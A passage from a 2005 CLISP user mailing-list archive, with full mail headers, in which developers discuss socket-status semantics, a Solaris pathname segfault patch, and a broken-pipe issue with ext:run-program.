http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ -0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: shutdown & close Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Jul 27 10:22:11 2005 X-Original-Date: Wed, 27 Jul 2005 13:20:39 -0400 > * Sam Steingold [2005-07-26 19:51:36 -0400]: > > one issue postponed until 2.34 was making socket-stream-shutdown > always just do shutdown, never close, as per the doc. the patch has been checked in. please try cvs head -- Sam Steingold (http://www.podval.org/~sds) running w2k Trespassers will be shot. Survivors will be prosecuted. From sds@gnu.org Wed Jul 27 12:45:30 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DxrqL-0002Uw-OQ for clisp-list@lists.sourceforge.net; Wed, 27 Jul 2005 12:45:29 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1DxrqK-0004xn-B3 for clisp-list@lists.sourceforge.net; Wed, 27 Jul 2005 12:45:29 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.183]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j6RJj0OH015554; Wed, 27 Jul 2005 15:45:10 -0400 (EDT) To: clisp-list@lists.sourceforge.net, "Nelson H. F. Beebe" Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (Nelson H. F. Beebe's message of "Tue, 26 Jul 2005 15:54:24 -0600 (MDT)") References: Mail-Followup-To: clisp-list@lists.sourceforge.net, "Nelson H. F. Beebe" Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PARATHESES_OPEN BODY: Text interparsed with ( 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ -0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: clisp-2.34 build comments Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Jul 27 12:46:12 2005 X-Original-Date: Wed, 27 Jul 2005 15:44:22 -0400 > * Nelson H. F. Beebe [2005-07-26 15:54:24 -0600]: > > Here is more of the requested debugging output for the segment > violation on Sun Solaris 10 of clisp-2.34: > [1]> (TRANSLATE-LOGICAL-PATHNAME (LOGICAL-PATHNAME "SYS:FOO.LISP")) > 4717 if (eq(Car(pattern),S(Kabsolute)) && mconsp(*subst) please try the appended patch. thanks. -- Sam Steingold (http://www.podval.org/~sds) running w2k Abandon all hope, all ye who press Enter. --- pathname.d 22 Jul 2005 14:29:22 -0400 1.380 +++ pathname.d 27 Jul 2005 15:40:53 -0400 @@ -4408,7 +4408,7 @@ var object item; if (atomp(m_list)) { if (atomp(b_list)) - push_solution(); + push_solution_with(NIL); return; } item = Car(m_list); m_list = Cdr(m_list); From sds@gnu.org Wed Jul 27 13:07:45 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DxsBt-0003qj-Bq for clisp-list@lists.sourceforge.net; Wed, 27 Jul 2005 13:07:45 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1DxsBr-0002qO-Rz for clisp-list@lists.sourceforge.net; Wed, 27 Jul 2005 13:07:45 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.183]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j6RK7Ulf018742; Wed, 27 Jul 2005 16:07:31 -0400 (EDT) To: clisp-list@lists.sourceforge.net Cc: "Nelson H. F. Beebe" Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (Sam Steingold's message of "Wed, 27 Jul 2005 15:44:22 -0400") References: Mail-Followup-To: clisp-list@lists.sourceforge.net, "Nelson H. F. Beebe" Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PARATHESES_OPEN BODY: Text interparsed with ( 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' -0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: clisp-2.34 build comments Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Jul 27 13:08:04 2005 X-Original-Date: Wed, 27 Jul 2005 16:06:51 -0400 > * Sam Steingold [2005-07-27 15:44:22 -0400]: > >> * Nelson H. F. Beebe [2005-07-26 15:54:24 -0600]: >> >> Here is more of the requested debugging output for the segment >> violation on Sun Solaris 10 of clisp-2.34: >> [1]> (TRANSLATE-LOGICAL-PATHNAME (LOGICAL-PATHNAME "SYS:FOO.LISP")) >> 4717 if (eq(Car(pattern),S(Kabsolute)) && mconsp(*subst) > > please try the appended patch. don't... -- Sam Steingold (http://www.podval.org/~sds) running w2k A clear conscience is usually the sign of a bad memory. From ashwin.shirvanthe@gmail.com Thu Jul 28 01:43:23 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Dy3z9-00043B-5W for clisp-list@lists.sourceforge.net; Thu, 28 Jul 2005 01:43:23 -0700 Received: from wproxy.gmail.com ([64.233.184.198]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Dy3z9-00077r-0f for clisp-list@lists.sourceforge.net; Thu, 28 Jul 2005 01:43:23 -0700 Received: by wproxy.gmail.com with SMTP id i3so383156wra for ; Thu, 28 Jul 2005 01:43:16 -0700 (PDT) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references; b=XN6myDmENgDF2xchW3stB50+jGPiEyEchJOi5qX1eXZPCAsuwje+Zn2Ro8NuCYtQPol7JmuUJuOXG5D4MLfUHLI57CZb6qG9wC4+Xq0dPhLUeCkGA7JsFjO9hJXYuMAdxxosM7fYC0X6qilLxqztPKqORWNNxsRldINgXkvvWEk= Received: by 10.54.45.14 with SMTP id s14mr728929wrs; Thu, 28 Jul 2005 01:43:15 -0700 (PDT) Received: by 10.54.95.7 with HTTP; Thu, 28 Jul 2005 01:42:50 -0700 (PDT) Message-ID: From: Ashwin Rao Reply-To: Ashwin Rao To: clisp-list@lists.sourceforge.net, Ashwin Rao In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Content-Disposition: inline References: X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name Subject: [clisp-list] Re: socket programming related query Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jul 28 01:44:05 2005 X-Original-Date: Thu, 28 Jul 2005 14:12:50 +0530 On 7/27/05, Sam Steingold wrote: > > * Ashwin Rao [2005-07-27 14:59:48 +0500]: > > > > > > [1]> (setq stream (socket-connect 21 "ftp.gnu.org")) > > # ;; as expected > > [2]> (setq server (socket-server)) > > # ;; good > > [3]> (socket-status (list stream server)) > > (:IO NIL) ;;; great > > 1 > > [4]> (listen stream) > > T > > [5]> (loop :while (listen stream) :do (print (read-line stream))) > > > > "220 GNU FTP server ready." > > NIL > > [6]> (socket-status (list stream server)) > > (:OUTPUT NIL) ; > > 1 > > [7]> (socket-status (list stream server)) > > (:OUTPUT NIL) ; > > 1 > > > > ;; Now the funny part the status is still :output but the read-line > > gave some data > > ;; Why is this so. The next read after this failed. you can see it. I > > cant find out why? > > ;; Could you please help >=20 > did you actually _read_ the link I sent you? >=20 > :OUTPUT means that you can do output on (i.e., you can write to) the > stream. > the stream indeed will accept your text, just try > (format stream "foo~%") >=20 >=20 >=20 Thanks for the link.=20 But there is still one problem, maybe I should have asked this earlier as all what I asked comes down to this (sorry for the inconvenience). say there are 2 sockets to the list. (1 -- the server-socket which accepts new connection, the status will always be nil until a new connection request comes. 2 -- the socket which was created after succefully accepting a new connecti= on.) as the second socket will always return :output when there is no input available, socket-status will always return even if no data was sent from the other side. Is there a way I can tell socket-status to return only if :input or :io operations are permissible in the sockets present in the list or is it possible to make socket-status return only if :input is status of one or :output is status of other. (PS something similar to setting the readfs and writefds of select system c= all). Regards Ashwin From pjb@informatimago.com Thu Jul 28 03:12:24 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Dy5NF-0007qT-0m for clisp-list@lists.sourceforge.net; Thu, 28 Jul 2005 03:12:21 -0700 Received: from larissa.informatimago.com ([62.93.174.78] ident=postfix) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Dy5NC-00052S-3D for clisp-list@lists.sourceforge.net; Thu, 28 Jul 2005 03:12:20 -0700 Received: by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 501) id 334AE582FA; Thu, 28 Jul 2005 12:11:54 +0200 (CEST) Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 97C4A5833D; Thu, 28 Jul 2005 12:11:42 +0200 (CEST) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 67DEE10FBF3; Thu, 28 Jul 2005 12:11:42 +0200 (CEST) From: Pascal Bourguignon MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <17128.44894.213237.649065@thalassa.informatimago.com> To: Ashwin Rao Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: socket programming related query In-Reply-To: References: X-Mailer: VM 7.17 under Emacs 22.0.50.1 Reply-To: Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en X-Spam-Checker-Version: SpamAssassin 3.0.1 (2004-10-22) on larissa.informatimago.com X-Spam-Status: No, score=-3.1 required=5.0 tests=ALL_TRUSTED,BAYES_00, UNWANTED_LANGUAGE_BODY autolearn=ham version=3.0.1 X-Spam-Level: X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 AWL AWL: From: address is in the auto white-list Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jul 28 03:13:02 2005 X-Original-Date: Thu, 28 Jul 2005 12:11:42 +0200 Ashwin Rao writes: > But there is still one problem, maybe I should have asked this earlier > as all what I asked comes down to this (sorry for the inconvenience). > say there are 2 sockets to the list. > (1 -- the server-socket which accepts new connection, the status will > always be nil until a new connection request comes. > 2 -- the socket which was created after succefully accepting a new connection.) > as the second socket will always return :output when there is no input > available, socket-status will always return even if no data was sent > from the other side. > Is there a way I can tell socket-status to return only if :input or > :io operations are permissible in the sockets present in the list or > is it possible to make socket-status return only if :input is status > of one or :output is status of other. > (PS something similar to setting the readfs and writefds of select system call). You've not been reading the documentation closely enough. Read it again: http://www.podval.org/~sds/clisp/impnotes/socket.html -- __Pascal Bourguignon__ http://www.informatimago.com/ I need a new toy. Tail of black dog keeps good time. Pounce! Good dog! Good dog! From sds@gnu.org Thu Jul 28 06:59:17 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Dy8ur-0000Zz-6V for clisp-list@lists.sourceforge.net; Thu, 28 Jul 2005 06:59:17 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Dy8uo-0006Zm-HR for clisp-list@lists.sourceforge.net; Thu, 28 Jul 2005 06:59:17 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.183]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j6SDx2hb025197; Thu, 28 Jul 2005 09:59:02 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Ashwin Rao Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (Ashwin Rao's message of "Thu, 28 Jul 2005 14:12:50 +0530") References: Mail-Followup-To: clisp-list@lists.sourceforge.net, Ashwin Rao Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' -0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: socket programming related query Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jul 28 07:00:10 2005 X-Original-Date: Thu, 28 Jul 2005 09:58:24 -0400 > * Ashwin Rao [2005-07-28 14:12:50 +0500]: > > as the second socket will always return :output when there is no input > available, unless the other side shuts down the connection. > Is there a way I can tell socket-status to return only if :input or > :io operations are permissible in the sockets present in the list or > is it possible to make socket-status return only if :input is status > of one or :output is status of other. > (PS something similar to setting the readfs and writefds of select system call). I sent you the link. RTFM. -- Sam Steingold (http://www.podval.org/~sds) running w2k What's the difference between Apathy & Ignorance? -I don't know and don't care! From sds@gnu.org Thu Jul 28 07:14:15 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Dy99L-0001O2-Jj for clisp-list@lists.sourceforge.net; Thu, 28 Jul 2005 07:14:15 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Dy99J-0002Go-R0 for clisp-list@lists.sourceforge.net; Thu, 28 Jul 2005 07:14:15 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.183]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j6SEDw1x027896; Thu, 28 Jul 2005 10:13:58 -0400 (EDT) To: clisp-list@lists.sourceforge.net Cc: Ashwin Rao Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (Sam Steingold's message of "Thu, 28 Jul 2005 09:58:24 -0400") References: Mail-Followup-To: clisp-list@lists.sourceforge.net, Ashwin Rao Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - -0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: socket programming related query Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jul 28 07:15:11 2005 X-Original-Date: Thu, 28 Jul 2005 10:13:19 -0400 >> Is there a way I can tell socket-status to return only if :input or >> :io operations are permissible in the sockets present in the list or >> is it possible to make socket-status return only if :input is status >> of one or :output is status of other. >> (PS something similar to setting the readfs and writefds of select system call). > > I sent you the link. RTFM. BTW, if you find the documentation unclear, please do submit a patch. -- Sam Steingold (http://www.podval.org/~sds) running w2k ((lambda (x) (list x (list 'quote x))) '(lambda (x) (list x (list 'quote x)))) From dancorkill@comcast.net Fri Jul 29 07:46:55 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DyW8V-0002Ju-23 for clisp-list@lists.sourceforge.net; Fri, 29 Jul 2005 07:46:55 -0700 Received: from rwcrmhc11.comcast.net ([204.127.198.35]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1DyW8U-0006Cs-2A for clisp-list@lists.sourceforge.net; Fri, 29 Jul 2005 07:46:55 -0700 Received: from [192.168.240.100] (c-24-60-189-44.hsd1.ma.comcast.net[24.60.189.44]) by comcast.net (rwcrmhc11) with ESMTP id <2005072914464501300484qge>; Fri, 29 Jul 2005 14:46:45 +0000 Message-ID: <42EA4156.5060702@comcast.net> From: Dan Corkill User-Agent: Mozilla Thunderbird 1.0.6-1.1.fc4 (X11/20050720) X-Accept-Language: en-us, en MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Broken pipe problem using ext:run-program under Linux (using latest CLISP 2.34) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Jul 29 07:47:37 2005 X-Original-Date: Fri, 29 Jul 2005 10:46:46 -0400 The following simple test generates a broken pipe error writing to *stream* in format (running the latest CVS 2.34 on Linux (FC4)). Any suggestions as to what I'm doing wrong? > (defvar *stream*) > > (setq *stream* > (ext:run-program "cat" > :arguments nil > :input ':stream > :output ':stream > :wait nil)) > > (format *stream* "abcd") > (terpri *stream*) > (finish-output *stream*) > (print (read-line *stream*)) > > (close (two-way-stream-input-stream *stream*)) > (close (two-way-stream-output-stream *stream*)) > (close *stream*) From sds@gnu.org Fri Jul 29 08:56:46 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DyXE4-00061I-P1 for clisp-list@lists.sourceforge.net; Fri, 29 Jul 2005 08:56:44 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1DyXE1-0008Oh-9a for clisp-list@lists.sourceforge.net; Fri, 29 Jul 2005 08:56:45 -0700 Received: from WINSTEINGOLDLAP ([10.41.52.183]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j6TFu0AK012658; Fri, 29 Jul 2005 11:56:00 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Dan Corkill Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <42EA4156.5060702@comcast.net> (Dan Corkill's message of "Fri, 29 Jul 2005 10:46:46 -0400") References: <42EA4156.5060702@comcast.net> Mail-Followup-To: clisp-list@lists.sourceforge.net, Dan Corkill Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -0.1 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: Broken pipe problem using ext:run-program under Linux (using latest CLISP 2.34) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Jul 29 08:57:37 2005 X-Original-Date: Fri, 29 Jul 2005 11:55:23 -0400 > * Dan Corkill [2005-07-29 10:46:46 -0400]: > > The following simple test generates a broken pipe error writing to > *stream* in format > (running the latest CVS 2.34 on Linux (FC4)). Any suggestions as to > what I'm doing wrong? ":wait nil" means "exec cat &", i.e., cat does not wait for your input and terminates right away. >> (defvar *stream*) >> >> (setq *stream* >> (ext:run-program "cat" >> :arguments nil >> :input ':stream >> :output ':stream >> :wait nil)) >> >> (format *stream* "abcd") >> (terpri *stream*) >> (finish-output *stream*) >> (print (read-line *stream*)) >> >> (close (two-way-stream-input-stream *stream*)) >> (close (two-way-stream-output-stream *stream*)) >> (close *stream*) use (ext:run-program "cat" :arguments nil :input ':stream :output ':stream)) or just (ext:make-pipe-io-stream "cat") -- Sam Steingold (http://www.podval.org/~sds) running w2k Vegetarians eat Vegetables, Humanitarians are scary. From mkb@incubus.de Fri Jul 29 09:01:59 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DyXJ9-0006Ky-2h for clisp-list@lists.sourceforge.net; Fri, 29 Jul 2005 09:01:59 -0700 Received: from incubus.de ([80.237.207.83] helo=luzifer.incubus.de ident=postfix) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1DyXJ7-0001QG-RN for clisp-list@lists.sourceforge.net; Fri, 29 Jul 2005 09:01:59 -0700 Received: from drjekyll.mkbuelow.net (p54AAA43F.dip0.t-ipconnect.de [84.170.164.63]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by luzifer.incubus.de (Postfix) with ESMTP id 411D42E738; Fri, 29 Jul 2005 18:04:44 +0200 (CEST) Received: from drjekyll.mkbuelow.net (mkb@localhost.mkbuelow.net [127.0.0.1]) by drjekyll.mkbuelow.net (8.13.3/8.13.3) with ESMTP id j6TG1sk5003069; Fri, 29 Jul 2005 18:01:54 +0200 (CEST) (envelope-from mkb@drjekyll.mkbuelow.net) Received: (from mkb@localhost) by drjekyll.mkbuelow.net (8.13.3/8.13.3/Submit) id j6TG1rbC003068; Fri, 29 Jul 2005 18:01:53 +0200 (CEST) (envelope-from mkb) From: Matthias Buelow To: Dan Corkill Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Broken pipe problem using ext:run-program under Linux (using latest CLISP 2.34) Message-ID: <20050729160153.GA2360@drjekyll.mkbuelow.net> References: <42EA4156.5060702@comcast.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <42EA4156.5060702@comcast.net> User-Agent: Mutt/1.4.2.1i X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 AWL AWL: From: address is in the auto white-list Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Jul 29 09:02:34 2005 X-Original-Date: Fri, 29 Jul 2005 18:01:53 +0200 Dan Corkill wrote: >The following simple test generates a broken pipe error writing to >*stream* in format >(running the latest CVS 2.34 on Linux (FC4)). Any suggestions as to >what I'm doing wrong? Try :wait t instead of nil. Then it works here (FreeBSD 5.4). Why have you set it to nil? The default is T. mkb. From dancorkill@comcast.net Fri Jul 29 09:27:43 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DyXhz-0007hE-Q0 for clisp-list@lists.sourceforge.net; Fri, 29 Jul 2005 09:27:39 -0700 Received: from rwcrmhc14.comcast.net ([216.148.227.89] helo=rwcrmhc12.comcast.net) by mail.sourceforge.net with esmtp (Exim 4.44) id 1DyXhy-0002OX-L1 for clisp-list@lists.sourceforge.net; Fri, 29 Jul 2005 09:27:39 -0700 Received: from [192.168.240.100] (c-24-60-189-44.hsd1.ma.comcast.net[24.60.189.44]) by comcast.net (rwcrmhc14) with ESMTP id <2005072916273101400h5tste>; Fri, 29 Jul 2005 16:27:32 +0000 Message-ID: <42EA58F4.4060908@comcast.net> From: Dan Corkill User-Agent: Mozilla Thunderbird 1.0.6-1.1.fc4 (X11/20050720) X-Accept-Language: en-us, en MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net References: <42EA4156.5060702@comcast.net> In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to 